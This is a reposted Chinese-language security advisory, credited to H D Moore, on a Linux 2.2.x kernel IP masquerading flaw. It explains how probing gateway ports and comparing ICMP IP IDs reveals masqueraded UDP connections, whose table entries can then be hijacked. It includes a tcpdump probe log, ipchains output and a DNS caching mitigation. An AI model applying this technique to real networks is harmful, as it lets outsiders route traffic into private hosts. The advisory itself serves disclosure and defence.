2.2.x內核IP偽裝存在安全漏洞

火星人 @ 2014-03-12 , reply:0


  Linux系統2.2.x內核的IP偽裝實現中存在嚴重安全漏洞。在相關的核心代碼中對連接情況缺乏認真的檢查。攻擊者可以重寫核心中UDP偽裝表項,使攻擊者的UDP包可以被路由進內部機器。

當一個內部IP要訪問外部網路的DNS伺服器時,當發送的UDP包經過IP偽裝網關時,內核會添加一個表項來記錄這個連接。比如從內部主機A的1035埠連往外部主機C的53埠的一個UDP包,內核將這個包的源地址替換成偽裝網關(B)的IP,源埠設置成網關上為此連接分配的一個埠,預設是從61000埠到65096埠,因此理論上可以核心同時處理4096個TCP/UDP偽裝連接。

Host A:1035 -> GW B:63767 -> Host C:53

當外部網路發送一個UDP包到偽裝網關時,Linux IP偽裝只根據目標埠來決定是否應該將這個UDP包轉發到內部網路。如果目標埠在已經建立的偽裝連接表中有對應表項,它就會將此包中的源ip和源埠更新相應表項的遠程主機ip和埠。攻擊者只要判斷偽裝網關的的埠就可能用自己的ip和埠來重寫偽裝連接表。偽裝網關用來為偽裝連接服務的埠範圍通常是從61000到65096,因此外部攻擊者很容易判斷哪些埠已經被用來建立連接。攻擊者可以向偽裝網關的這些埠發送UDP檢測包,然後檢查埠的ICMP應答包的IP ID。每個主機每發一個包,它的TCP/IP棧中的IP ID會遞增一。因此對於用於ip偽裝的埠所發會的ICMP應答中將會有內部主機的IP ID.

這個ID通常會與網關主機的當前IP ID相差很多,通常都在1000以上。下面的例子就顯示了利用弱點進行攻擊的過程:

主機 A 是內部主機 (192.168.1.100)

主機 B 是偽裝網關 (192.168.1.1 / 10.0.0.1)

主機 C 是一台外部DNS伺服器 (10.0.0.25)

主機 X 是外部攻擊者的IP (10.10.187.13)

進行檢測之前,在偽裝網關上執行命令:ipchains -L -M -n 來顯示當前偽裝連接表的情況:

> UDP 03:39.21 192.168.1.100 10.0.0.25 1035 (63767) -> 53

目前是從192.168.1.100的1035埠發往10.0.0.25的53埠的連接,偽裝埠是63767

[ 從攻擊者的機器上進行tcpdump得到的結果]

(為了更容易的看清楚問題,這裡我們設置所有檢測用的包的源埠為12345 )

[ 我們的檢測將從61000埠開始,我們略掉了前面的一些結果 ]

10.0.0.1 > 10.10.187.13: icmp: 10.0.0.1 udp port 63762 unreachable [tos 0xd8] (ttl 245, id 13135)

10.10.187.13.12345 > 10.0.0.1.63763: udp 0 (DF) [tos 0x18] (ttl 254, id 23069)

10.0.0.1 > 10.10.187.13: icmp: 10.0.0.1 udp port 63763 unreachable [tos 0xd8] (ttl 245, id 13136)

10.10.187.13.12345 > 10.0.0.1.63764: udp 0 (DF) [tos 0x18] (ttl 254, id 23070)

10.0.0.1 > 10.10.187.13: icmp: 10.0.0.1 udp port 63764 unreachable [tos 0xd8] (ttl 245, id 13137)

10.10.187.13.12345 > 10.0.0.1.63765: udp 0 (DF) [tos 0x18] (ttl 254, id 23071)

10.0.0.1 > 10.10.187.13: icmp: 10.0.0.1 udp port 63765 unreachable [tos 0xd8] (ttl 245, id 13138)

10.10.187.13.12345 > 10.0.0.1.63766: udp 0 (DF) [tos 0x18] (ttl 254, id 23074)

10.0.0.1 > 10.10.187.13: icmp: 10.0.0.1 udp port 63766 unreachable [tos 0xd8] (ttl 245, id 13139)

10.10.187.13.12345 > 10.0.0.1.63767: udp 0 (DF) [tos 0x18] (ttl 254, id 23083)

10.0.0.1 > 10.10.187.13: icmp: 10.0.0.1 udp port 63767 unreachable [tos 0xd8] (ttl 244, id 17205)

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

上面這個包的ID是17205,它與13139相差已經超過4000了,這就是說,我們發現了一個經過偽裝的連接。!!!

10.10.187.13.12345 > 10.0.0.1.63768: udp 0 (DF) [tos 0x18] (ttl 254, id 23084)

10.0.0.1 > 10.10.187.13: icmp: 10.0.0.1 udp port 63768 unreachable [tos 0xd8] (ttl 245, id 13140)

10.10.187.13.12345 > 10.0.0.1.63769: udp 0 (DF) [tos 0x18] (ttl 254, id 23088)

10.0.0.1 > 10.10.187.13: icmp: 10.0.0.1 udp port 63769 unreachable [tos 0xd8] (ttl 245, id 13141)

10.10.187.13.12345 > 10.0.0.1.63770: udp 0 (DF) [tos 0x18] (ttl 254, id 23090)

10.0.0.1 > 10.10.187.13: icmp: 10.0.0.1 udp port 63770 unreachable [tos 0xd8] (ttl 245, id 13142)

10.10.187.13.12345 > 10.0.0.1.63771: udp 0 (DF) [tos 0x18] (ttl 254, id 23091)

10.0.0.1 > 10.10.187.13: icmp: 10.0.0.1 udp port 63771 unreachable [tos 0xd8] (ttl 245, id 13143)

10.10.187.13.12345 > 10.0.0.1.63771: udp 0 (DF) [tos 0x18] (ttl 254, id 23092)

10.0.0.1 > 10.10.187.13: icmp: 10.0.0.1 udp port 63772 unreachable [tos 0xd8] (ttl 245, id 13144)

[ 我們的檢測到65096埠結束,我們省略了一些結果 ]

現在我們再來檢查一下偽裝網關的偽裝連接表的情況:

ipchains -L -M -n

> UDP 04:35.12 192.168.1.100 10.10.187.13 1035 (63767) -> 12345

可以看到,現在遠程主機已經換成了攻擊者的ip:10.10.187.13,目標埠也換成了攻擊者檢測用的源埠:12345

現在攻擊者就可以從12345源埠發送UDP數據給內部主機的1035埠了。

<* 來源:H D Moore *>

--------------------------------------------------------------------------------

建議:

對於訪問外部DNS的問題,一個可能的解決辦法是在偽裝網關上設置一個緩存域名伺服器,然後禁止UDP包的偽裝。











[火星人 via ] 2.2.x內核IP偽裝存在安全漏洞已經有266次圍觀

http://www.coctec.com/docs/security/show-post-73091.html